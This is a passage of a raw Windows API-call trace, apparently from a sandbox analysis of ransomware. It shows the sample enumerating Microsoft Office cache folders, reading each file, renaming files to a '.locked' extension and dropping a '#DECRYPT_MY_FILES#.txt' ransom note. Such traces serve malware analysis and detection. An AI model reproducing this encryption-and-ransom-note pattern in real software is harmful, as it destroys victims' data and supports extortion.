returned 1 [0031.935] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0031.935] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0031.935] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0031.935] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.935] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.935] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0031.935] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0031.935] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0031.935] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.935] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.935] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.935] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.935] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.935] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.935] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.936] AreFileApisANSI () returned 1 [0031.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0031.936] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa2) returned 0x806668 [0031.936] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=81 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 81 [0031.936] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0031.937] GetFileType (hFile=0xc8) returned 0x1 [0031.937] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.937] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5aa, lpOverlapped=0x0) returned 1 [0031.938] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5a2, lpOverlapped=0x0) returned 1 [0031.938] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x59a, lpOverlapped=0x0) returned 1 [0031.938] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x592, lpOverlapped=0x0) returned 1 [0031.938] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x58a, lpOverlapped=0x0) returned 1 [0031.938] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x582, lpOverlapped=0x0) returned 1 [0031.938] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x57a, lpOverlapped=0x0) returned 1 [0031.939] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x572, lpOverlapped=0x0) returned 1 [0031.939] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x56a, lpOverlapped=0x0) returned 1 [0031.939] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x562, lpOverlapped=0x0) returned 1 [0031.939] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x55a, lpOverlapped=0x0) returned 1 [0031.939] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x552, lpOverlapped=0x0) returned 1 [0031.940] AreFileApisANSI () returned 1 [0031.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0031.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0031.940] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x152) returned 0x80cde8 [0031.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x80cde8, cchWideChar=81 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 81 [0031.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x80ce8a, cchWideChar=88 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.locked") returned 88 [0031.940] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.locked"), dwFlags=0x2) returned 1 [0031.941] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cde8 | out: hHeap=0x7f0000) returned 1 [0031.941] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.941] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.941] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0031.941] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0031.941] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.941] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x3, dwReserved1=0x3, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0031.941] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.941] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.941] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.941] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.941] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0031.941] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.941] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.941] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.941] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.941] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.941] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.941] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.942] AreFileApisANSI () returned 1 [0031.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0031.942] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x94) returned 0x806668 [0031.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0031.942] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0031.942] GetFileType (hFile=0xc8) returned 0x1 [0031.942] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.946] AreFileApisANSI () returned 1 [0031.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0031.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0031.946] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x136) returned 0x819f70 [0031.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x819f70, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0031.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x81a004, cchWideChar=81 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.locked") returned 81 [0031.946] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.locked"), dwFlags=0x2) returned 1 [0031.946] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819f70 | out: hHeap=0x7f0000) returned 1 [0031.946] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.946] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.946] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0031.946] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0031.946] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.946] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0031.947] FindClose (in: hFindFile=0x825850 | out: hFindFile=0x825850) returned 1 [0031.947] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0031.947] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0031.947] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f78 [0031.947] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f30 [0031.947] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f78 | out: hHeap=0x7f0000) returned 1 [0031.947] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f30 | out: hHeap=0x7f0000) returned 1 [0031.947] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810fc0 | out: hHeap=0x7f0000) returned 1 [0031.947] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0031.947] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x827800 [0031.947] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.947] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x77) returned 0x801350 [0031.947] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.947] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.947] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.947] AreFileApisANSI () returned 1 [0031.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0031.948] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xae) returned 0x806668 [0031.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=87 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\#DECRYPT_MY_FILES#.txt") returned 87 [0031.948] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc60, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0031.950] GetFileType (hFile=0x120) returned 0x1 [0031.950] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.951] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb6080240, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb6080240, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fd, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0031.951] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb6080240, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb6080240, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fd, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0031.951] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6080240, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb6080240, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb6080240, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x6fd, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.951] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0031.951] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0031.951] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.951] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.951] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.951] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.951] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0031.951] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.951] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.951] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.951] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.951] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0031.951] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.951] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.951] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.951] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.951] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0031.951] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.951] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.951] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.952] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.952] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.952] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.952] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.952] AreFileApisANSI () returned 1 [0031.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0031.952] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x9e) returned 0x806668 [0031.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=79 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 79 [0031.952] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0031.955] GetFileType (hFile=0xc8) returned 0x1 [0031.955] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.959] AreFileApisANSI () returned 1 [0031.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0031.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0031.959] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x14a) returned 0x80cde8 [0031.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x80cde8, cchWideChar=79 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 79 [0031.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x80ce86, cchWideChar=86 | out: lpWideCharStr="C:\\\\MSOCache\\All 